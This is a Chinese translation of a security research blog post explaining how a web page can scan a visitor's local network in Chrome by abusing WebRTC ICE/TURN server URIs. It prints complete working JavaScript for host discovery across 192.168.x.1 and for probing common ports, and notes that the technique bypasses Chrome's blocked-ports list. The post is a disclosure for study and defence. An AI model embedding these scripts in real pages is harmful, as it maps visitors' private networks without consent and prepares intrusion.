在Chrome中使用WebRTC ICE服务进行端口扫描

iso60001  1558天前

22.png

WebRTC,名称源自网页即时通信(英语:Web Real-Time Communication)的缩写,是一个支持网页浏览器进行实时语音对话或视频对话的API。它于2011年6月1日开源并在Google、Mozilla、Opera支持下被纳入万维网联盟的W3C推荐标准。——百度百科

使用浏览器扫描局域网并不是一种新想法,目前已有许多利用XHR请求websockets存粹的HTML代码来发现和识别局域网设备的例子。但在这篇博客中,我将介绍一种使用WebRTC ICE服务进行扫描的技术。该技术扫描速度较快,并且与其他方法不同的是,它可以绕过blocked ports list。但不幸的是,它只能在Chrome上才能生效。

你可以跳过我的解释,直接进入代码演示页面。如果想详细了解,先让我们从PoC视频开始,主要是扫描我的192.168.88.0/24网络。

33.png

视频地址:https://youtu.be/M6lBVhkzUmM

什么是ICE Server?

如前所述,扫描技术使用WebRTC ICE服务。ICE服务是WebRTC RTCPeerConnection用于自我发现、NAT遍历和中继的STUNTURN服务,通过将服务器列表传递到RTCPeerConnection的构造来实现。下面是一个和谷歌公共STUN服务器有关的构造器之一:

var rtc = new RTCPeerConnection({
    iceServers:[{“urls”:”stun:stun.l.google.com:19302”}]
});

当上述RTCPeerConnection进入ICE收集状态时,它将尝试连接到所提供的服务器。

协议

ICE服务可以绑定到UDP或TCP端口。但是,除非特别设定,Chrome似乎只尝试通过UDP进行通信。下面是一个Wireshark截图,显示了Chrome发送数据到一个不存在的TURN服务器,一切都基于UDP。

44.png

如果你知道一些关于ICE服务器的URL,可以强迫Chrome通过TCP进行连接。传递给RTCPeerConnection构造器的URL必须符合RFC 7064(STUN)或RFC 7065(TURN)。TURN URI的方案如下:

55.png

对于扫描来说最重要的是“?transport=”字段。它可以通过“?transport=TCP”强制ICE使用TCP。

现在,我们有了一种方法来向我们选择的任何IP和端口发出TCP连接。但是,由于我们要扫描的所有主机几乎都和TURN服务无关,那么如何确定主机是否处于活动状态呢?

确定目标是否存活

为了找到192.168.[0-255].1范围内的活动地址,下面的JSFiddle会生成256个TURN URI。

var brute_array = [];
for (i = 0; i < 256; i++) {
  brute_address = "turn:192.168." + i + ".1:445?transport=tcp";
  brute_array.push({
    urls: brute_address,
    credential: "lobster",
    username: "albino"
  });
}

var rtc_brute = new RTCPeerConnection({
  iceServers: brute_array,
  iceCandidatePoolSize: 0
});
rtc_brute.createDataChannel('', {
  reliable: false
});

rtc_brute.onicecandidateerror = function(e) {
  if (e.url == null) {
    return;
  }

  url_split = e.url.split(":");
  host_div = document.createElement('div');
  host_div.id = url_split[1];
  host_div.innerHTML = url_split[1];
  document.getElementById('hosts').appendChild(host_div);
}

// trigger the gathering of ICE candidates
rtc_brute.createOffer(function(offerDesc) {
  rtc_brute.setLocalDesc ription(offerDesc);
}, function(e) {
  console.log("Create offer failed callback.");
});

icecandidateerror事件生成时,这个地址就被确定为“活动的”。如果主机以某种形式拒绝连接,Chrome就会将生成错误事件。理想情况下,在Chrome发送初始信息后,会立刻有RST回复或一个快速拒绝。虽然服务可能只是保持连接打开,但错误事件将需要大约30秒来生成。

这就是为什么JSFiddle使用端口445进行扫描。我实现的SMB完成了TCP握手,然后在Chrome的非SMB通信之后关闭连接。445端口的另一个理想之处在于它和Windows关系紧密。

如果Chrome没有响应,则不会生成事件。这可能是因为防火墙进行了处理,也可能是不存在可用主机。

我遇到的唯一一个极端情况回复中存在一个ICMP响应。这导致Chrome生成一个icecandidateerror,形成了一定程度的干扰。

端口扫描

JSFiddle会扫描192.168.88.1上的21、22、23、25、53、80、443、445、5900和8080端口。

var ports = [21, 22, 23, 25, 53, 80, 443, 445, 5900, 8080];
var target = "192.168.88.1";

address_div = document.createElement('div');
address_div.id = target;
address_div.innerHTML = target;
document.getElementById("hosts").appendChild(address_div);

var scan_array = [];
for (i = 0; i < ports.length; i++) {
  probe_address = "turn:" + target + ":" + ports[i] + "?transport=tcp";
  scan_array.push({
urls: probe_address,
credential: "lobster",
username: "albino"
  });

  port_div = document.createElement('div');
  port_div.id = ports[i]
  port_div.innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + ports[i] + " - ?"
  document.getElementById(target).appendChild(port_div);
}

var port_scan = new RTCPeerConnection({
  iceServers: scan_array,
  iceCandidatePoolSize: 0
});
port_scan.createDataChannel('', {
  reliable: false
});

port_scan.onicecandidateerror = function(e) {
  if (e.url == null) {
return;
  }

  url_split = e.url.split(":");
  port_split = url_split[2].split("?");

  if (e.hostCandidate != "0.0.0.x:0") {
    document.getElementById(port_split[0]).innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + port_split[0] + " - <b><i>Open</i><b>"
  } else {
    document.getElementById(port_split[0]).innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + port_split[0] + " - Closed"
  }
}

setTimeout(function() {
  if (port_scan.iceGatheringState === "gathering") {
    port_scan.close();
  }
}, 60000);

port_scan.onicegatheringstatechange = function(e) {
  if (port_scan.iceGatheringState == "complete") {
    port_scan.close();
  }
}

port_scan.createOffer(function(offerDesc) {
    port_scan.setLocalDesc ription(offerDesc);
  },
  function(e) {
    console.log("Create offer failed callback.");
  });

以下本地网络扫描结果:

77.png

基于Chrome生成的icecandidateerror事件,脚本能够将端口分类为“打开”或“关闭”。每个icecandidateerror都有一个hostCandidate变量。任何完成TCP三次握手的ICE服务器都将在hostCandidate中列出本地IP和端口(例如192.168.88.x:51688)。无法访问的ICE服务器以“0.0.0.x:0”的形式生成hostCandidates。因此,判断一个端口是否打开很简单。

88.png

只适用于Chrome?

目前我无法在任何其他浏览器中重现扫描,其他浏览器似乎没有实现onicecandidateerror。这个特性在Chrome中存在的时间也不长,因为MDN显示“不支持”:

99.png

其他浏览器似乎对RTCPeerConnection的使用也不太灵活。虽然Chrome很乐意接受255个不同的ICE服务器,但Firefox就不行。

100.png

关于PoC代码

Chrome最近已修复因WebRTC而泄露的本地地址这一问题。当“Experimental”功能的“Anonymize local IPs exposed by WebRTC”标志被启用时,Chrome将尝试使用mDNS.local主机名,而不是本地IP。

110.png

我觉得这真是一个很好的安全加固,肯定能阻止不少潜在的攻击者。

不过我在PoC也考虑到了IP无法获取这一点,此时它将尝试搜索192.168.[0–255].1上的某个活动IP。

这是一个弱点吗?

起初,我觉得这是一个弱点。攻击者(有争议地)绕过Chrome的受限端口列表,能够搜索受害者的局域网。但谷歌似乎认为这是一个“隐私”问题,而不是安全漏洞。

120.png

不过,现在有各种各样的插件可以禁用WebRTC,你也可以选择其他浏览器。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chrome-ce17b19dd474

最新评论

昵称
邮箱
提交评论